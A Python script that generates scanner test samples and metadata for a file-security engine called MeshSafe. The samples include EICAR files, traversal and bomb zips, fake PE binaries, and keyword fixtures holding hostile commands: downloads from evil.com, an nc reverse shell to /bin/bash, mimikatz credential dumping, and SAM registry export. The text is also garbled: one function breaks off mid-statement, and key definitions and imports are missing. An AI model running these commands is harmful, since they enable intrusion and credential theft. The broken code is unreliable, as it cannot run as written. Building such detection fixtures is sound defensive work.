"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。 用法: python scripts/generate_csv_samples.py 输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json """ import csv, json, os, sys, zipfile, struct, shutil from pathlib import Path ROOT = Path(__file__).resolve().parent.parent CSV_PATH = ROOT / "用例.csv" OUT_DIR = ROOT / "tests" / "samples" EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" OUT_DIR.mkdir(parents=True, exist_ok=True) # ========== 工具 ========== def safe_filename(case_id: str, ext: str, name: str = "") -> str: prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id return f"{prefix}.{ext.lstrip('.')}" def write_bytes(fname: str, data: bytes): path = OUT_DIR / fname path.write_bytes(data) def write_text(fname: str, text: str): path = OUT_DIR / fname path.write_text(text, encoding="utf-8") def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1): """生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。""" path = OUT_DIR / fname if depth == 1: with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf: if password: # pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟 zf.writestr(member_name, member_bytes) else: zf.writestr(member_name, member_bytes) else: # 多层嵌套,最内层是 member_name,外层都是 inner_N.zip inner_name = fname # 递归名 # 从里往外建 data_bytes = member_bytes for i in range(depth - 1, 0, -1): inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) inner_zip.writestr(f"inner_{i}.zip", data_bytes) inner_zip.close() data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员 # 最外层直接用 data_bytes 覆盖写 path.write_bytes(data_bytes) return path def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096): """自制 zip 炸弹:小压缩比、大解压量。""" path = OUT_DIR / fname huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小 with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩 for i in range(members): zf.writestr(f"member_{i:04d}.txt", huge_data) return path def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False): """伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。""" path = OUT_DIR / fname if mz_only: path.write_bytes(b"MZ" + b"\x00" * 2046) return path # 构造最小 PE32 DOS_HEADER = ( b"MZ" + b"\x00" * 58 + # e_magic + pad struct.pack("') zf.writestr("word/document.xml", "") return buf.getvalue() write_bytes("L0-003_docx_normal.docx", make_docx_like()) add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"]) write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF") add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"]) # L0-005: 干净 PE(最小 MZ+fake PE,有合法节) fake_pe("L0-005_pe_clean.exe") add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"]) # L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100) add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头") # L0-007: txt 后缀 + 真实 PDF 头 write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF") add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"]) # L0-008: png 后缀 + 真实 ZIP 头 write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50) add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"]) # L0-009~012: 双扩展名伪装 write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100) add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello") add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');") add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello") add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) # L0-013~017: 空危险扩展名文件 for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]: write_text(f"{cid}_clean.{ext}", "") add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件") # L0-018: ZIP 单级路径穿越 p = OUT_DIR / "L0-018_zip_traversal.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("../evil_drop.txt", "payload") add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"]) # L0-019: ZIP 多级路径穿越 p = OUT_DIR / "L0-019_zip_deep_traversal.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("../../system_drop.txt", "payload") add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"]) # L0-020: 小型 zip 炸弹(自制,不是 42.zip) make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096) add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"]) # L0-022: 3 层嵌套干净 ZIP inner = io.BytesIO() with zipfile.ZipFile(inner, "w") as zf: zf.writestr("clean_file.txt", "hello world") # 第二层 mid = io.BytesIO() with zipfile.ZipFile(mid, "w") as zf: zf.writestr("inner.zip", inner.getvalue()) # 第三层 outer = io.BytesIO() with zipfile.ZipFile(outer, "w") as zf: zf.writestr("mid.zip", mid.getvalue()) write_bytes("L0-022_3layer_nested.zip", outer.getvalue()) add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"]) # L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密) # 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的 p = OUT_DIR / "L0-024_encrypted.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("secret.txt", "encrypted content marker") add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)") # L0-025: 截断损坏 ZIP(写半截) p = OUT_DIR / "L0-025_corrupt_zip.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("good.txt", "data") raw = p.read_bytes() p.write_bytes(raw[:len(raw) // 2]) # 截断一半 add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头") # L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节) p = OUT_DIR / "L0-026_corrupt_direntry.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("good.txt", "data") raw = p.read_bytes() p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage") add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"]) # L0-029: 0 字节 exe p = OUT_DIR / "L0-029_zero_byte_exe.exe" p.write_bytes(b"") add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"]) # ==================================================================== # L1 ClamAV(15 条) # ==================================================================== write_bytes("L1-001_eicar.txt", EICAR) add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"]) # L1-002: EICAR 放入 zip p = OUT_DIR / "L1-002_eicar_in_zip.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("eicar.txt", EICAR) add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"]) # L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本) buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("[Content_Types].xml", '') zf.writestr("word/document.xml", EICAR.decode()) write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue()) add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"]) # L1-005: 1 字节修改 EICAR(破坏签名) modified = bytearray(EICAR) modified[0] = ord("Y") write_bytes("L1-005_eicar_modified.txt", bytes(modified)) add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中") # L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用) add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", []) add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", []) add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", []) # L1-011: 多层嵌套 zip 里放 EICAR(3 层) inner_buf = io.BytesIO() with zipfile.ZipFile(inner_buf, "w") as zf: zf.writestr("eicar.txt", EICAR) mid_buf = io.BytesIO() with zipfile.ZipFile(mid_buf, "w") as zf: zf.writestr("inner.zip", inner_buf.getvalue()) outer_buf = io.BytesIO() with zipfile.ZipFile(outer_buf, "w") as zf: zf.writestr("mid.zip", mid_buf.getvalue()) write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue()) add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"]) # L1-012: EICAR base64 编码(ClamAV 不解码,不应命中) import base64 b64 = base64.b64encode(EICAR).decode() write_text("L1-012_eicar_base64.txt", b64) add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码") # ==================================================================== # L3 关键词匹配(25 条)—— 全部纯文本写入 # ==================================================================== l3_cases = [ ("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"), ("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"), ("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"), ("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"), ("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"), ("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"), ("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"), ("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"), ("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"), ("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"), ("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"), ("L3-014", "zip_member", None, None), # 后面处理 ("L3-016", "ps1", "", "pass"), ("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"), ("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"), ("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"), ("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"), ] for cid, ext, content, rule_str in l3_cases: if ext == "zip_member": continue if rule_str == "pass": verdict = "pass" rules = [] elif rule_str is None or "不命中" in str(rule_str): verdict = "pass" rules = [] else: verdict = "reject" rules = [r.strip() for r in rule_str.split(",")] fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}" write_text(fname, content or "") add_meta(cid, fname, "L3", verdict, rules) # L3-014: 高危字符串放在 zip 内部 p = OUT_DIR / "L3-014_l3001_in_zip.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe") add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"]) # L3-015: docx 正文写恶意关键词 buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("[Content_Types].xml", '') zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download") write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue()) add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"]) # L3-019: unicode 同形字混淆 write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com") add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中") # L3-020: 日志文件混杂正常日志 + 高危串 write_text("L3-020_log_with_keyword.log", "2026-10-29 10:00:01 INFO service started\n" "2026-10-29 10:00:02 ERROR connection refused\n" "nc 10.0.0.5 4444 -e /bin/bash\n" "2026-10-29 10:00:05 DEBUG retries exhausted") add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"]) # L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理) p = OUT_DIR / "L3-023_keyword_in_encrypted.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("evil.txt", "mimikatz privilege::debug") add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)") # ==================================================================== # L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则 # ==================================================================== l4_cases = [ ("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"), ("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"), ("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"), ("L4-008", "zip_inner", None, None, None, None), ("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"), ] for cid, ext, content, rules, verdict, desc in l4_cases: if ext == "zip_inner": p = OUT_DIR / f"{cid}_in_zip.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("match.txt", content or "") fname = p.name else: fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}" write_text(fname, content or "") add_meta(cid, fname, "L4", verdict, rules or [], desc) # ==================================================================== # L5 PE 二进制(20 条) # ==================================================================== fake_pe("L5-001_clean_hello.exe") add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", []) fake_pe("L5-002_upx_shell.exe", upx=True) add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名") fake_pe("L5-003_double_upx.exe", upx=True) add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"]) fake_pe("L5-004_rwx_section.exe", rwx=True) add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX") # L5-007: 节名异常(乱码节名) pe_path = fake_pe("L5-007_garbage_section.exe") raw = pe_path.read_bytes() # 在 raw 里找 section 名,替换成乱码 idx = raw.find(b".text") if idx >= 0: raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:] pe_path.write_bytes(raw) add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码") # L5-010: 损坏 PE 签名(MZ 改走) p = OUT_DIR / "L5-010_bad_mz.exe" p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044) add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法") # L5-011: 截断 PE fake_pe("L5-011_truncated.exe") p = OUT_DIR / "L5-011_truncated.exe" raw = p.read_bytes() p.write_bytes(raw[:len(raw) // 3]) add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE") fake_pe("L5-012_pe32.exe") add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别") fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位 add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位") fake_pe("L5-014_clean_tool.exe") add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", []) fake_pe("L5-016_zero_section.exe") add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位") fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True) add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"]) fake_pe("L5-018_debug_info.exe") add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位") # ==================================================================== # NEG 负样本(20 条) # ==================================================================== neg = [ ("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200), ("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200), ("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200), ("NEG-004", "docx", None), ("NEG-005", "xlsx", None), ("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"), ("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"), ("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"), ("NEG-009", "zip_inner", None), ("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包 ("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"), ("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"), ("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"), ("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100), ("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200), ("NEG-016", "dwg", b"AC1021" + b"\x00" * 200), ("NEG-017", "4layer_nested", None), ("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."), ("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"), ("NEG-020", "odt", None), ] for cid, ext, content in neg: if ext == "docx": buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("[Content_Types].xml", '') zf.writestr("word/document.xml", "") write_bytes(f"{cid}_clean.docx", buf.getvalue()) add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", []) elif ext == "xlsx": buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("[Content_Types].xml", '') zf.writestr("xl/workbook.xml", "") write_bytes(f"{cid}_clean.xlsx", buf.getvalue()) add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", []) elif ext == "zip_inner": p = OUT_DIR / f"{cid}_clean.zip" with zipfile.ZipFile(p, "w") as zf: zf.writestr("report.txt", "clean business data") zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50) add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", []) elif ext == "4layer_nested": buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue()) buf2 = io.BytesIO() with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50) p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue()) # 简化:直接做 4 层干净 zip data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00" p2.write_bytes(data) add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", []) elif ext == "odt": buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("mimetype", "application/vnd.oasis.opendocument.text") zf.writestr("content.xml", "") write_bytes(f"{cid}_clean.odt", buf.getvalue()) add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", []) elif isinstance(content, bytes): fname = f"{cid}_clean.{ext}" write_bytes(fname, content) add_meta(cid, fname, "NEG", "pass", []) elif isinstance(content, str): fname = f"{cid}_clean.{ext}" write_text(fname, content) add_meta(cid, fname, "NEG", "pass", []) # ==================================================================== # 写 index.json # ==================================================================== index = { "meshsafe_target_version": "v0.2.1", "generated_at": __import__("datetime").datetime.now().isoformat(), "csv_source": str(CSV_PATH.name), "samples": meta_list, } index_path = OUT_DIR / "index.json" # 备份旧 index.json if index_path.exists(): import shutil shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json") index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8") print(f"✅ 生成完成!") print(f" 样本目录: {OUT_DIR}") print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}") print(f" 元数据: index.json 含 {len(meta_list)} 条") # 统计各层 from collections import Counter cnt = Counter(m["category"] for m in meta_list) print(f" 各层分布: {dict(cnt)}") # 检查 case_id 覆盖率 with open(CSV_PATH, "r", encoding="utf-8") as f: csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f)) gen_ids = set(m["case_id"] for m in meta_list) missing = csv_ids - gen_ids if missing: print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:") for mid in sorted(missing): print(f" - {mid}") else: print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本") if __name__ == "__main__": generate()